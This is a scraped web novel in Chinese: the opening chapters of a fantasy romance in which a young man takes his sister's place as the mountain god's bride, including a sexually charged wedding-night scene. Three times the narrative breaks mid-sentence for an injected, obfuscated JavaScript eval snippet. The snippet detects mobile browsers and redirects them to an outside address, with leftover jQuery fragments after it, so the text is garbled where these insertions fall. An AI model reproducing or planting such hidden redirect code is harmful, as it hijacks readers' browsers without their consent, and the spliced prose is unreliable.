《山神的替嫁新娘》
1. 替嫁
“娘,您真要把晚晚送去当祭祀新娘!?”
青灰色的雨幕把整座府邸裹得密不透风,檐角的铜铃早淋哑了嗓子,雨水顺着瓦当坠成串,滴滴答答响个不停。
正房的门被人一把推开。
沈沂清难掩脸上的不可置信,快步而入,情急之下已顾不得太多规矩,见母亲不答,复又问了一遍。
姜氏已年过半百,眼角藏了细纹,像被岁月磨过的玉,更透着温润的光。她终于回过神,讪讪开口:“这、这不是还没送么……”
她上下快速打量了一番儿子,瞥见锦袍下摆溅着一圈泥污,继续道:“怎么赶得这般急,上回寄信不是说要再多停留一月吗?”
沈沂清此趟外出是为拜访挚友,算上行程时日,原计划是四月出,六月归,现下足足缩短了一半。
“是晚晚,她在回信中与我说了祭祀新娘的事,我实在放心不下,就赶了回来。”
姜氏似乎料到如此,揉着眉头,叹了口气:“她怎么什么都与你说。”
“父亲走得早,长兄如父。晚晚又是我一母同胞的亲妹妹,她愿意亲近我,我高兴还来不及。”沈沂清瞧出母亲的憔悴,扶着她到一旁坐下,伸出手,指腹轻轻落在太阳穴上进行揉摁。
“何况这也不是件小事。”
“娘,祭祀节上到底发生了什么?怎么会挑中晚晚?”
据镇上相传,五百年前的绥灵镇是个受到严重诅咒的地方。阳光落在这里总要黯淡几分,草木长得歪歪扭扭,播种的庄稼要么颗粒无收,要么长出奇形怪状的果实,刚出生的孩子常常莫名夭折,更是煞炁迭起,滋生出许多疫病。
朝廷为了阻止瘟疫的蔓延,下令暴力封锁镇子,这里的人逃不出去,外面的人为了性命着想自然也没几个愿意进来。久而久之,镇上食物越发匮乏,甚至发生食人事件,绥灵镇一度濒临消亡。
直至某日一位方士云游时途径这里,怜悯当地百姓所遭疾苦,设下法阵,与山中一生灵缔结契约。往后,绥灵镇再未有过怪事,人们年年都能顺利丰收。
那位方士没有留下姓名,只知他模样年轻却留着一头白发。而那生灵虽从未在人前露过面,却因庇佑众人,被尊为“山神”供奉至今。
“……往年祭祀节都是拿出一些作物和牲畜即可,偏偏这回,点名要出一个祭祀新娘,还必须从我们府上出。”
沈沂清听完,脸色变得难看。
他妹妹是一个活生生的人,怎能与牲畜相提并论作为祭品?
呵。倘若真有山神,镇上也不会还有那么多天灾人祸。这所谓的“祭祀新娘”,怕不只是一个幌子,趁着他外出之际,合起伙来欺负他们孤儿寡母。
-
从正房出来,沈沂清径直去了一趟西房。
“云芝,小姐呢?”
屋内只有一名常年侍奉的贴身丫鬟,沈沂清的出现着实吓了她一跳,眼神慌乱不敢抬起,支支吾吾好半晌也没说出一句完整的话。
“小姐、小姐她……”
沈沂清敏锐地意识到什么,朝云芝下意识瞥了一眼的地方看去,案几的镇纸下压着一张字条。
上面是沈青晚的字迹。
沈沂清拿起字条,几息后又放下,什么也没说,取走一顶幂篱,带了府上几个下人出门。天色将暗之际,终于在镇口的一家简陋客栈寻到人。
“还想去哪?”
乳白纱罗自帽檐垂落,将沈沂清的面容遮得严严实实,只隐约能从纱隙间瞥见些许轮廓的线条。
沈沂清的语气里多了几分严厉,道:“整个客栈我都已经让人围起来了,你现在就是跳窗也没用。”
窗前的阴影里站着个人,身形单薄,穿着一身不知道从哪找来的布衫,露在外面的双手和脸蛋却格外白净,尤其那双眼睛,亮得像浸在水里的星子。
沈青晚对这声音再熟悉不过,条件反射性打了个寒颤,见实在没有退路,不得已转过身来,挤出一个笑,悻悻然开口:“……阿兄,好巧呃哈哈哈。”
“你吃过饭了吗?”沈青晚自知说多错多,但关心吃饭总没问题。
关于沈青晚乔装打扮离家出走的原因,沈沂清就算不用问也能想到。
绥灵镇的人世代供奉山神,这一习俗已延续几百年,虽然不知道今年典礼上的具体细节,但看来这祭祀新娘是非出不可,才会将人逼得逃走。
沈青晚见沈沂清无动于衷,拖着嗓子喊了一声“好阿兄”,上前挽住他的手臂,哀求道:“你就当没看见放我走吧,我真的不想被送去当祭祀新娘。”
“何况我已经有喜欢的人了,要是不能和他在一起,我这辈子都不会真正快乐的。”
胞妹早就心有所属沈沂清是知晓的,却并不赞成她今天的莽撞行为。
“难道你就准备这样扔下我和阿娘,永远待在外面不回家了不成?”
沈晚清一愣,抿住唇不说话了。
沈沂清看向她,觉得他这个妹妹还是太过意气用事,“再者,你可曾问过你心悦之人,他是否愿意放弃这里的一切同你私奔?”
“若是他今后欺负于你或做了负心汉,你一个女儿家孤身在外又要怎么办?”
这些问题沈青晚更答不上来了。
在家中,比起母亲,沈青晚最怕的其实是她兄长。阿娘心肠软,无论她做了什么,只要她撒撒娇便舍不得打骂她。
她阿兄却不一样,虽然平日里处处依着她,什么好都紧着她,可一旦触及“红线”,教训起她来同要大义灭亲没有分别。她从小到大挨过的几次罚,皆是出自兄长之手。
听出兄长是铁了心要带她回去,委屈与害怕一齐漫上眼眶,转瞬红了一圈。沈青晚抽泣着声:“那怎么办啊……我就是不想去当祭祀新娘……”
“他们都说山神其实是吃人的老妖怪,我去了肯定会死的……呜呜……”
沈青晚一掉眼泪,沈沂清心底跟着不是滋味。他伸出手,轻轻为她擦拭眼尾,可泪水却越擦越多,到最后沈青晚直接扑进了他怀里嚎啕大哭。
-
半个时辰后,沈沂清将哭累的沈青晚送回了府上。
他向沈青晚许诺,一定会替她解决祭祀新娘的事,可接连几日奔波下来,进展却十分缓慢。
他备了厚礼去找知县,希望对方通融一下更改决定。这老狐狸却对此事讳莫如深,将所有礼物悉数退还,说天意如此,他也不敢擅自忤逆。
而当日道出祭祀新娘一事的祠祝,则在沈沂清回到绥灵镇的前一天就离开了,无论沈沂清如何动用关系都找不到此人,凭空蒸发了似的。
随着日子越来越近,沈沂清愁得整宿整宿睡不好觉,院子里的花草没少遭殃,被他用剪子修得一个比一个奇形怪状。
陆柱像往常一样将烧好的热水抬进屋内,倒入浴桶,混上适当凉水,撒入研磨得极细腻的药粉,随后去喊正在隔壁书房的主子。
青年支着肘坐在案前,窗棂漏下的光落在他挺直的鼻梁上,投下一小片柔和的阴影,睫毛长而密,垂落时像蝶翼轻覆。青色衣襟松了些许,露出一小片锁骨,线条干净利落。
曾有人说他“有潘安之姿,兼西子之貌,雌雄莫辨,艳绝一方。”他的容貌不全是女子气的柔美,而是带着清俊冷冽的风骨,偏生肌肤胜雪,白得晃眼。
陆柱晃了神,直至沈沂清朝这边抬眼,才陡然反应过来出声,告知对方水已备好。
沈沂清指节微微抵着额角,指腹下是掩不住的青黑,如被浓墨洇过的薄纸,连带着眼下皮肤也泛着几分病态的苍白,唯有唇色如脂粉点绛般艳丽。
他起身,先解了外衣,水面上的倒影随之一齐晃动。抬眼看清那张脸的刹那,他停了动作,某个念头从脑海一溜烟而过
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521275|203320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“小柱子,你觉得我和晚晚像吗?”
陆柱不明就里,但还是迅速回答道:“少爷气度不凡,小姐仪态万方。”
“……”沈沂清因这突如其来的马屁噎了一下,“认真点,我是指相貌。”
陆柱依旧不解沈沂清为何突然提起这个,这回认真瞧了瞧才开口:“少爷与小姐一母同胞,自然有许多相像之处。”
“像多少?”
“呃……只眉眼略有不同。”
沈青晚是标准的杏眼,和姜氏年轻时一模一样,沈沂清则完美继承了父亲的桃花眼。除此之外,他们几乎是一个模子刻出来的,任谁在路上瞧见二人,都会笃定这是一对兄妹。
既然祭祀新娘必须要从他们家中出,那么是否可以……由他代替晚晚去嫁?
……
“不成,这事要是叫人发现了可怎么办?”次日姜慧蓉听闻沈沂清的想法,惊了一跳,认为明显不妥。
“再说你是男子,如何去替嫁?”
“正因为我是男子,才比让晚晚去嫁要安全。”沈沂清将自己思忖了一晚上的考量道出,试图缓解母亲的担忧。
他们不可能让晚晚在外面过一辈子东躲西藏的生活,更不可能将她一个女孩送进虎狼之地。
如果一定要有个人去成为“祭品”,沈沂清无疑是最合适的人选。
假若是有人在装神弄鬼骗婚,他正好借这次机会将此人揪出来永绝后患,相反,如果真有所谓的神明存在,即便他们一家人能狠下心离开绥灵镇重头开始,也终究逃不出神明的手心。
“这个办法……真的可行吗?”沈沂清和沈青晚都是从她身上掉下来的肉,捂在心头都怕化了的宝,姜慧蓉自然舍不得其中任何一个受苦。
“行与不行都要试过才知道。我就晚晚这么一个妹妹,要是不能保护好,今后到了下面也无颜去面见父亲。”
“可是清儿你的腿……”
“放心吧娘,走路不影响。”
姜慧蓉听出对方不是来找自己商量的,而是心意已决,无论她再怎么费口舌也拦不住。
距离祭祀还有三日,知县那边派人抬了一箱又一箱的东西送进沈府,说是山神亲自备下的聘礼。
“嚯,怎么如此大的阵仗?”围观的人群里响起窃窃私语。
“你不记得上月祭祀节上的事了?沈家幺女就是当时被选中的祭祀新娘。”
“这姜氏也是可怜,早年当了遗孀,生下的一双儿女,一个是丑八怪瘸子,现在另一个又要送给山神。”
“……”
姜慧蓉得知有人上门,只当是知县自掏腰包给的抚恤金,说得再难听点,就是他们买下她女儿的身价钱。
只是没想到一向抠门的知县这回如此大方,打头的是十抬金银,清一色朱红漆木匣装着,打开来,马蹄金、梅花银锭码得整整齐齐。
紧随其后的是八抬绸缎,花色丰富,皆是上等料子,另有六抬珠宝玉器、四抬珍稀补品、两抬古董摆件……
姜慧蓉看得目瞪口呆,不禁怀疑对方是不是掏空了老底。
至于沈沂清这边,则收到了一个香囊。
东西是知县让陆柱转交给他的,不是交给沈青晚,而是专程送他这个“大舅子”。
香囊里装着一段剪下的头发,含义不明,挑衅意味倒是十足。
沈沂清的指尖毫不留情地松开,下一秒,那只绣着缠枝莲纹的香囊从他掌心坠落,撞进炭火烧得正旺的铜盆里。
火星“噼啪”炸开,混着丝线燃烧的糊气漫开来。香囊边角先蜷起焦黑的卷,随后那截墨色发丝被火舌舔舐着,迅速在烈焰里扭曲成一团灰烬。
沈沂清转身离开,没再看那火盆一眼。
三日后,他倒要去会会这“山神”究竟是何方神圣,看他到底有没有这个福气娶到他妹妹!
2. 送嫁
替嫁一事自然是越少人知道越安全,除了母亲和届时要为他梳妆的人,沈沂清再没向其他任何人透露过。
包括沈青晚。
沈沂清知道他这个妹妹性子倔强,要不也不会做出离家出走的举止。若是被沈青晚得知兄长要代替自己去当祭祀新娘,指不定要怎么闹腾一番。
提前几日,沈沂清就让云芝收拾行李,又雇了几名身手非凡的侍从,一起带沈青晚离开绥灵镇,说是祭祀新娘的事情自己已经替她摆平,让云芝陪她出去游玩一阵子放松心情。
沈青晚起初好奇她阿兄究竟用了什么法子,可无论她如何追问,她阿兄都对此回答得模棱两可,最后还没问清楚,便被沈沂清半推半就塞上了马车。
车夫扬了扬马鞭,伴随“驾”的一声轻呵,车轮开始向前转动。沈沂清看着马车彻底消失在眼前,长长舒了口气,扶着一同送行的母亲进屋。
转眼就到了出嫁这日。
姜慧蓉从一开始就没想过要嫁女儿,所以没有为沈青晚准备喜服,等沈沂清与她商量好替嫁一事时,已经来不及再去找缝衣匠专门定做,只好买了套现成的来。
尺寸当然是不合身的,但已经是他们能找到最大的女子喜服了。
姜慧蓉本想让人改一改,却被沈沂清拦下,说:“反正我也不是真要嫁人,不用准备的那么仔细,能上身凑合一下就行。”
若不是知县十分看重这回的仪式感,沈沂清甚至连喜服都不想穿,从衣桁?上扯件轻便袍子就冲上山抓人。
只是姜慧蓉却不想在任何方面委屈他,即便是一场祭祀婚姻。
-
天还浸在墨蓝的黎明里,窗棂外只漏进一丝极淡的鱼肚白。
地缝的土屑簌簌顶动,几截青黑藤蔓犹如活过来的蛇,刺破冷硬地面,顺着人的小腿往上绕,转眼就连手腕一起捆住。
床上的人只觉四肢发沉,像被巨石压住。刺痛传来的瞬间,他睁开眼,入目是潮湿的石壁,正淌着粘稠液体,鼻尖满是腐败的味道。
啪嗒,液体滴落的声响。身上皮肉不正常地凸起,似有细长的虫钻入,蠕动着相互搅在一起,贪婪啃食他的血肉。
冷,疼。
这是沈沂清的第一感受。
有没有人?
他扯了扯嗓子艰难开口,声音撞在石壁上,只传来细碎的回音。不知过去多久,洞口终于飘来一阵极轻的脚步声,一道人影慢慢走近,光线太暗,看不清眉眼,只隐约辨出高挑的轮廓。
“救、救我……”沈沂清张嘴,拼尽全力才挤出字眼。
那人朝他伸出手,指尖泛着淡淡幽光。沈沂清犹如看见救命稻草,正要庆幸,左肩却被倏然一推!
这一下力道极大,他整个人往后倒去,还没落地,就听见四周再次传来“簌簌”的响动。更多藤蔓从石壁里钻出来,瞬间缠住他的腰腹、脖颈,将他往山洞最深处拖拽。
黑暗如潮水般迅速涌来,沈沂清拼命睁着眼,最后看见的,只有那人上挑的唇尾,在黑暗里划开一道诡异的弧度,比起暗夜里绽放的毒花更美得让人发怵。
他猛地坐起身,冷汗浸透了里衣,窗外的阳光完全照进来,地上没有藤蔓,也没有山洞,只有被子滑落在腰间和耳边清脆的啁啾。
左肩那道推力的触感却依然清晰得吓人。
半晌,沈沂清急促的呼吸才缓缓趋于平静,想起今天就是祭祀的日子,不再多耽搁,掀开薄被下去。
应该是近日情绪太过紧绷才做了噩梦。
他来到衣桁?前,刚准备换上衣服,窗外鸟鸣忽地变了调子,急促、响亮,如落在鼓皮上的雨。
“咚!”声音极大。
沈沂清乌眉微皱,在动静第二次响起时去开了窗。一套大红喜服随之映入眼帘,旁边还有一只喜鹊,脚步踉踉跄跄地打着转,随时准备晕过去的样子。
沈沂清伸出手接了一下它,空出另一只手,指尖触及叠得整整齐齐的喜服时,上面还带着晨间的微凉。
帮忙梳妆的人很快来了,先替他绾上发,桃木梳齿轻轻划过发丝,将柔软的发拢成髻,再簪上点翠珠花。细碎的珠光落在耳侧,倒衬得他本就清秀的眉眼愈发柔和。
换上喜服,大红的绸缎裹住身形,腰间的玉带轻轻一收,立刻勾勒出流畅的线条。梳头娘替沈沂清整理衣领,又蘸了胭脂,在他颊边晕开浅浅的红,末了看着镜中的人,忍不住赞了句“真是好模样”。
沈沂清顺着声音抬眼望去,镜中人眉如远山,眼含秋水,大红喜服衬得肌肤胜雪,那点属于男子的英气被胭脂与珠翠完美掩去,只剩满目的温婉明媚,任谁瞧了,都只会觉得这是位待嫁的娇俏新娘。
不过出乎他意料的是,喜服的款式与几日前母亲拿给他的瞧着不同了。这明显是一套崭新的,身上每一片布料都与他的身形高度贴合,合适得就好像做衣服的人摸过他全身,连最细微的地方都考虑到位。
-
戴上盖头没一会,刺青师便进来了,在沈沂清右手小臂外侧刺了一道红色图纹,上面沾了特殊药汁,一旦渗入皮肉终身无法洗去,象征着成为神妃的神印。
出了门,沈沂清到底是男儿身,纵使有意弯腰和减少站立,身量上依然看着比妹妹沈青晚高出不少。
负责搀扶他上花轿的喜娘不知盖头下换了人,走在他旁边,悄悄在心底惊叹了声“这丫头生得真高”。
好在除了喜娘,没有其他人再近过沈沂清的身,众人都沉侵在接亲的氛围当中,所有流程一律按照正常婚嫁来办。唯有坐在高堂上的姜慧蓉内心五味杂陈,心底明镜似的——她要用自己的“女儿”来换取山神对全镇人的庇护。
沈沂清朝她行拜别礼时更是湿红了眼眶,险些站起来叫停这场仪式,连忙用手指扣紧了掌心才忍住。
可等看着“女儿”渐行渐远,她这个做母亲的心头绞肉般疼,豁然起身,顾不得在场众人追了出来,扒着轿子撩开帘子,焦急地唤了声“清儿”。
周围锣鼓喧天,吵杂不堪,连带着这一声呼唤都被淹没。
许是母子连心,沈沂清凑巧半掀起盖头,正对上母亲那双满是心疼与不舍的眼。
“……清儿,娘提前给你在山腰留了一拨人,若是遇到危险,千万别一个人逞强应对。”
“娘这辈子没什么奢望和志向,只想你和晚晚平安健康,大不了咱们离开这儿,到其他地方一样生活。”
沈府在绥灵镇也算家大业大,祖上积蓄了不少铺子和生意,若是带着一起离开,必定引起不小的动静。可要是舍下,又对不起他们为了家族苦心经营大半辈子而死去的爹。
事已至此,沈沂清知道自己已经没有回头路可走,他也并不后悔做出替嫁这个决定。
“知道了娘,风大了,您快回屋去吧。”
……
喧嚣散去,风又起,吹得檐下的新铃叮叮当当,在空旷的庭院里回响,撞上朱红廊柱,又轻轻弹回来,落进满院沉寂里。
姜慧蓉刚回屋,瞥见桌上的一套大红色衣裳。她愣了一下,拿起来,可不正是她给清儿准备的喜服。
如果衣裳还在这,那么清儿今日穿走的又是从哪来的?
“这套喜服怎么会在这里?”姜慧蓉扭头问。她今日心思全在担忧沈沂清的安危上,并未仔细观察他穿走的喜服款式。
管事嬷嬷瞧清,说:“夫人不是说衣裳公
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521276|203320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子穿着不合身,这是前些天送去改的,昨个儿傍晚才差人送来。”
姜慧蓉逐渐回忆起昨日确有此事,当时管事嬷嬷送了衣服来,她看过后觉得没问题,本想亲自送到清儿屋里去,可不知怎地,她又忽然忘记了这件事。
姜慧蓉:“……你可还记得我准备送衣裳前在做什么?”
“您正在——”管事嬷嬷刚吐声说了几个字,发觉自己竟也想不起来了。
又摇摇头,改口道:“我只记得当时好像听见了一阵鸟鸣,您嫌吵,让我去关窗。”
-
“山神娶亲,众灵辟径——!”
轿子摇摇晃晃上了山,一路上的颠簸并不好受。
沈沂清不由得再次庆幸,好在自己换下了晚晚,否则以她那细嫩身板,这轿子坐上一遭,回头肯定要努着嘴与他抱怨。
山神祠修筑在南隰山上,传言神明喜静,故而平日不常有人去打扰,只祭祀节这天会形成一条浩浩荡荡的长龙。
而如今这支送嫁队伍则成了一个破例。只是越往上,山雾越大,许多看热闹的人陆陆续续抽身离开,到最后只剩下四名轿夫。
沈沂清的手探入另一只袖中,确定东西还在,稍稍定下心。
不知又过去多久,轿子终于停下,轿夫出声告知沈沂清他们已到地方,出于避嫌和对山神的尊敬,最后一段进祠的路需神妃自行行走。
虽然身上喜服合身,但到底是第一回穿女裙,加之遮住视线的盖头,光是从轿子上下来,沈沂清就差点绊倒。前面的轿夫也注意到这一点,伸出手扶了他一把。
“多谢。”沈沂清压着嗓子说,感受到扶住自己的那只手并不平整,低头一看,果然在对方手心看到一道几乎横穿整个掌面的疤痕。
轿夫盯着那只如羊脂玉的手离开,似乎闻到一股香,眯了眯眼,但还是在另外几人催促下,和他们一块沿原路返回。
沈沂清听着脚步声由近及远,直至再听不到半点,猜测他们已经离开,先试探性地掀开三分之一盖头,确定没有人才完全取下,打量起周遭。
云雾像凝固的纱幔,终年缠绕着半山腰的山神祠,祠外的石阶被苔藓啃噬得只剩模糊轮廓,每一级都覆着不久前被人踩踏过的脚印。
沈沂清穿过早已褪色斑驳的祠门。
祠内却意外地保持着庄严,九根盘龙石柱撑着高阔的穹顶,柱身的龙鳞仍能辨出鎏金的残痕,只是龙首皆被岁月磨去了棱角,空洞的眼眶对着祠中那尊立在幽暗阴影里的神像。
神像的身形高得几乎要触到穹顶,岩石肌理泛着冷硬的光泽。他的手上拿着一只长角尖牙的面具,样貌无法瞧全,仅露出左边眼睛,眉骨高隆压着深邃的眼窝,既不看世人,也不看香火,唯有漠然凝固在眉眼间,像亘古不变的山风。
异常长的指尖微微弯曲,像是刚从猎物的皮肉中抽出。背后的翅膀是整座神像最骇人的手笔,羽毛并非柔顺的弧度,而是刀削斧凿般层层叠起。左臂缠绕的蛇身有孩童手臂粗细,蛇口微张,信子是尖锐的石刺。
最下方的双脚彻底脱离了人的形态,近似鸟类锋利的四趾利爪,趾尖深深嵌进基座,让人莫名想起被猛禽擒住时那种无从挣脱的窒息感。
沈沂清自上看到下,基座四周刻了繁冗看不懂的符文,猜测大概是祈福语一类。再重新抬头,神像的面部似乎发生了某种微妙变化。
是他的错觉吗?
他怎么记得方才神像是看向祠外的,而它现在敛下眼睑,是在……看他吗?
这个猜想令沈沂清心脏突地一跳,不再与之对视。他虽不信神,却也保持着基本的敬畏,转身走入了镇民为他和山神准备的“祭婚合卺房”。
3. 洞房
祭婚合卺房的壁上有一个半人高的神龛,龛内供着一尊缩小的山神像,像前摆着三只陶碗,碗里盛着已经凝固的兽血与供品。神龛旁立着一架雕花木床,架上悬着红绢。
沈沂清重新盖好盖头,在床边坐下,右手始终掩在袖内,指尖触着里面的东西。
真正到了这里谈不上多紧张,倒是好奇那个骗婚的流氓是怎么将知县这只老狐狸一块忽悠进去的。
然而从下午一直等到晚上,这座山神祠内除了他再无第二个人进来,甚至连周边虫鸟都少得可怜,似乎不愿在这驻足。
沈沂清有意数着时辰,估摸已近子时,早就过了山神迎娶的良辰吉时。
按照他预先所想,无论是这世上真有山神打算迎娶新娘,还是有歹人冒名假扮,今夜都注定不会平静。
可现在结果却大相径庭。
祠外的风卷着枯叶拍在窗棂上,像极了他来时在轿中听见的、林子里不知名兽类的低嗥。沈沂清深吸一口气,安全起见决定先在这凑合一夜,倘若真没人出现,明早就下山。
大红绸缎离了头顶的刹那,檐角忽然掠过一抹黑影,紧接着一只通身墨羽的怪鸟直扑过来,尖喙精准叼住盖头一角,快速振翅往祠外冲。
东西猝不及防被抢,沈沂清下意识起身去追,结果踏出祠门的瞬间,浑身血液凉了大半。
白日下轿时还觉十分宽敞的祠外不知何时多了好几棵树,枝叶浓密,将头顶遮得连一丝月光都透不进来,唯有远处几簇幽幽磷火在半空中忽明忽灭,将周遭树影映得愈发诡谲。
那些树也绝非寻常模样。本该笔直冲天的枝干齐齐向前倾斜,虬结的枝桠好似被无形的手按着头,呈现俯身姿态,在黑暗里进行忏悔。
夜风经过,茂密的枝叶纹丝不动,却在地面投下层层叠叠的阴影,连成无数双垂首的手,将祠外围成密不透风的墙。
沈沂清愣在原处,墨羽鸟早已没了踪影,唯剩那方大红盖头挂在最靠前的一根树枝上,在磷火微光中飘曳,像极了一抹凝固的血。
没事的没事的,说不定山里就是这样,别大惊小怪,这些都是正常现象……
个鬼。
就在沈沂清犹豫着有没有必要去取回盖头时,身后传来衣料窸窣的声响,回过头,却见祠内红烛的光正被一只光见影不见实物的手缓缓掐灭。
沈沂清的呼吸随着光亮的消失陡然悬空几息,下一秒,有什么东西轻轻靠了上来,正好挨上他的背脊。
后颈忽然一片冰凉,带着夜露的寒气,不等他转身,一道厚重的布料便从头顶罩下,正是那方被抢走的大红盖头。
眼前再次陷入一片昏暗,借着弱得可怜的光线,沈沂清依稀看到一双人手的轮廓。
当然,最重要的是感知到从对方身上传来的温度,料定这是一个活生生的人。个子应该很高,但怎么做到悄无声息出现在他身后的不得而知。
“……谁?”沈沂清的右手摸进另一只袖口,指尖收拢后死死攥紧。
有时候活人可不比鬼好到哪去。
良久,无人回答他的问题。沈沂清却知道对方没有离开,反而改为站到他面前。
为什么不说话?
莫非是个哑巴或聋子?
“这些天就是你在装神弄鬼骗得我沈家嫁女儿?”沈沂清借着说话后退半步,试图拉开与对方的距离,左腿却不合时宜地疼了起来。
怎么偏偏挑这个时候。
沈沂清再一次在心底感叹自己的倒霉,深知此刻硬碰硬的胜算不大。
但不知是他袖中的行为被发现,还是他的质问惹恼对方,站在他面前的人毫无任何预兆地伸出了手。
那是一只轮廓修长、线条流畅得近乎好看的手,从盖头下方闯入视线。指甲修剪得不算短,甚至比寻常人的还长出不少,前端呈尖型,只两侧边缘磨得圆润。
沈沂清忍不住盯着那截超出指尖的弧度,不由得想起了祠内的山神像——锋利如兽爪的双手,轻易就可刺穿猎物的胸膛夺去性命。
同时也在思考对方的行为究竟是何意。
对方没再更进一步,保持着掌心摊开朝上的姿势,似乎在等着他作出选择。
一番权衡之下,沈沂清松开紧绷的右手,从袖中滑离,放进对方手心。
指尖刚触碰到皮肤,立刻被对方的五指握住。这人掌心的温度高得惊人,用“烫”来形容都显得轻了,那股热度像有生命似的,让沈沂清连心跳都漏了半拍。
对方牵着他往祠内走,脚步平缓,沈沂清跟起来不算吃力。
玄色锦袍下摆绣着暗金云纹,大红嫁衣裙裾缀满细碎珍珠,二人步履相携间,衣料轻轻相缠,云纹似要揽住艳艳红绸,珍珠在交叠处微微晃动,叮叮当当响着。经过伫立着的巨大神像时,祭婚合卺房内本熄灭的烛火又重新亮了起来。
沈沂清在对方的牵引下坐回了床边,如民间普通出嫁姑娘,等待心上人揭下盖头、入洞房。
但这位“山神”却直接跳过了揭盖头环节,说:“该洞房了。”
声音像浸过温水的丝绸,裹着一层恰到好处的平静,听不出半分波澜。可落在耳里,那语调又像燃到尾端的沉香,表面只剩一点暗红火头,底下却藏着能燎人的温烫。
这么快就装不下去了?
怕不是靠这种装神弄鬼的把戏欺辱了许多好姑娘。
一想到晚晚差点落入这样的人手中,沈沂清便不可抑制地感到愤怒。
盖头还掩着视线,身上的大红喜服却先起了异动。
系得严丝合缝的腰带在无人碰触的情况下解开,衣襟犹如被无形的指尖轻轻朝两则勾挑,连带绣着金线的广袖顺势从肩头滑落,露出底下细腻肌肤。裙裾也循着腰线散开,将女式内衫藏不住的白皙腰腹全然展露。
沈沂清惊得抬手去拢,布料却像沾了滑液避开他的动作。两条长腿也露了出来,只剩腰间半垂的红缎带摇摇欲坠,遮住腿间最后一点可怜的尊严。
分明是男扮女装的喜服,此刻偏衬得他肌肤如玉,连颈侧因慌乱泛起的薄红,都成了这片白上最艳的色,令暗处注视的目光愈发灼热。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521277|203320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
衣裳散开断不可能是巧合。只这一下,沈沂清便明白这人本事远在他之上,他快速扯过被子盖住下身,“等一下!灯,把灯都熄了……”
“我是第一次,有光会紧张。”
这个理由显然蹩脚,可“山神”信了,视线只往红烛上掠过,便轻而易举掐灭了光源。
沈沂清也没想到对方会这么好说话,但很快他就没什么心思去细究原因了。
他的小腿被握住了。
沈沂清心脏一跳,更加按紧了腹前的被子,阻止男扮女装替嫁的事情被立刻发现,同时手指迅速摸进袖口。
周遭只剩呼吸的轻响,对方蹲在他面前,过分滚烫的掌心贴上他的小腿肉,指尖没有急着用力,只羽毛般贴着细腻的皮肤慢慢往上滑,掠过膝盖时稍作停顿,指腹无意识地摩挲了两下,拂开坠着的衣裳布料,又继续向上。
直至触碰到大腿柔软的肌理,那只手才终于停下,却没有收回,而是轻轻圈住。
他碰的地方……
雪白的左腿上有着一块极不和谐的部分,它不像普通疤痕那样浅淡平滑,而是颜色深得发暗,中间能看出些凹陷的褶皱,像块被啃噬过又勉强拼凑的皮,突兀地横在大腿正面。
那是沈沂清自己都嫌弃、每回沐身有意避着不愿去看的地方。
对方的指腹从疤痕底端往上滑,指尖细细蹭过每一寸不平整的皮肤,连边缘颜色较浅的地方都没放过。
“嗯……”疼痛里掺杂着几分酥麻的痒,沈沂清不受控制地颤了颤,下意识想蜷起腿,膝盖却被再次按住了。
几乎是同一时间,沈沂清攥住那支藏了许久的骨簪,没有丝毫预兆,他猛地抬臂,簪尖直指面前之人的胸口。
噗——
皮肉刺穿的闷响。
沈沂清看不见,但确定已经刺中对方,空气里陡然多出的血腥味就是最好的证明,却并未为此感到多高兴。
对方仍是定定地望着他,即便隔着一层盖头,那视线依旧存在感极强。手还留在他的大腿和膝盖上,连力道都没减,任由那冰凉的骨簪尖刺住自己的心口。
这人难道都感觉不到疼吗?沈沂清想,换做正常人,就算能忍住不立刻叫出声,也不该是这般无动于衷的表现。
啪嗒,一滴豆大的血色顺着簪身蜿蜒而下,滴落在沈沂清裸露的腿上,滚烫顺着皮肤蔓延开,对面的人也终于有了动作。
大腿被指腹刮蹭了一下,沈沂清先听到一声浅浅的笑,辨不出实际情绪,接着是——
“清清。”
云开雾散,月悬中天,一抹惨白的光探进,止于床沿。
青青?是在叫他妹妹沈青晚吗?
“收起你那些肮脏心思,再有下次,我会直接杀了你!”
沈沂清迅速将手和骨簪一块抽回,同时往床内挪去,指尖触到盖头边缘,一把将那层红绸掀开,愣住了。
眼前空无一人。
方才还带着压迫感的气息彻底消散,别说记下对方的外貌特征,他甚至连一片衣角都没来得及看清。
4. 翎羽
长街上的灯笼串如星河垂落,刚压上竹签的糖画澄黄透亮,尚冒着热气。
男孩递上钱,年仅七岁眉间便已可窥见今后绝色。他从画糖人手中接过竹签,一转身,却不见了熟悉的身影。
“……阿娘?晚晚?”男孩焦急地边找边呼喊起来,声音压在喧闹里,同撞掉的糖画一样七零八碎。
